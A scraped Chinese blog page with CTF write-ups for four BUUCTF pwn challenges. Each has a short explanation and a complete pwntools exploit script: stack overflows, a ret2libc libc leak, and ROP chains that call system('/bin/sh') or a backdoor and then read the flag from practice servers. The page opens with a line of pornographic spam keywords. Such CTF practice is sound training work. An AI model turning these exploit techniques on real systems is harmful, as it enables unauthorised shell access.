日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

PWN-PRACTICE-BUUCTF-4

發(fā)布時間:2023/12/10 编程问答 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 PWN-PRACTICE-BUUCTF-4 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

PWN-PRACTICE-BUUCTF-4

    • ciscn_2019_en_2
    • bjdctf_2020_babystack
    • not_the_same_3dsctf_2016
    • [HarekazeCTF2019]baby_rop

ciscn_2019_en_2

這題和ciscn_2019_c_1一模一樣
棧溢出ret2libc,encrypt函數(shù)里的異或運算不用管

from pwn import * context.log_level="debug" io=remote('node4.buuoj.cn',29289) elf=ELF("./ciscn_2019_en_2") libc=ELF("./libc-2.27-18-x64.so") io.recvuntil("Input your choice!\n") io.sendline("1") io.recvuntil("Input your Plaintext to be encrypted\n") pop_rdi_ret=0x0000000000400c83 puts_got=elf.got["puts"] puts_plt=elf.plt["puts"] encrypt=0x00000000004009A0 ret=0x00000000004006b9 payload="a"*(48+32+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(encrypt) io.sendline(payload) io.recvuntil("Ciphertext\n") io.recvuntil("\n") puts_addr=u64(io.recvuntil("\n",drop=True).ljust(8,"\x00")) print(hex(puts_addr)) libc_base=puts_addr-libc.sym["puts"] system=libc_base+libc.sym["system"] binsh=libc_base+libc.search("/bin/sh").next() payload_2="a"*(48+32+8)+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(encrypt) io.recvuntil("Input your Plaintext to be encrypted\n") io.sendline(payload_2) io.sendline("cat flag") io.interactive()

bjdctf_2020_babystack

輸入要讀取數(shù)據(jù)的長度,然后讀取數(shù)據(jù)到buf
將要讀取數(shù)據(jù)的長度設置為一個較大的值,讀取到buf,構成棧溢出,覆蓋rip到backdoor

from pwn import * io=remote('node4.buuoj.cn',25272) io.recvuntil("\n") io.sendline("50") io.recvuntil("u name?\n") backdoor=0x00000000004006E6 payload="a"*(16+8)+p64(backdoor) io.sendline(payload) io.sendline("cat flag") io.interactive()

not_the_same_3dsctf_2016

main函數(shù)中gets可造成棧溢出,覆蓋eip到get_secret
讀取flag到fl4g,是bss段上某處

題目是靜態(tài)編譯的可執(zhí)行文件,包含了write,exit等函數(shù),利用write函數(shù)將flag打印出來

from pwn import * #context.log_level="debug" io=remote('node4.buuoj.cn',28714) elf=ELF('./not_the_same_3dsctf_2016') get_secret=0x080489A0 write=elf.sym['write'] exit=elf.sym['exit'] flag=0x080ECA2D payload="a"*45+p32(get_secret)+p32(write)+p32(exit)+p32(1)+p32(flag)+p32(45) io.sendline(payload) io.interactive()

[HarekazeCTF2019]baby_rop

簡單的棧溢出,程序包含了字符串"/bin/sh\x00"
先覆蓋rip到一個pop rdi,將"/bin/sh\x00"彈到rdi,再執(zhí)行system,這題的flag在/home/babyrop/flag

from pwn import * #context.log_level="debug" io=remote('node4.buuoj.cn',25416) elf=ELF('./babyrop') io.recvuntil("name? ") pop_rdi_ret=0x0000000000400683 ret=0x0000000000400479 system=elf.plt['system'] main=0x00000000004005D6 binsh=0x0000000000601048 payload="a"*(16+8)+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(main) io.sendline(payload) io.sendline("cat /home/babyrop/flag") io.interactive()

總結

以上是生活随笔為你收集整理的PWN-PRACTICE-BUUCTF-4的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內容還不錯,歡迎將生活随笔推薦給好友。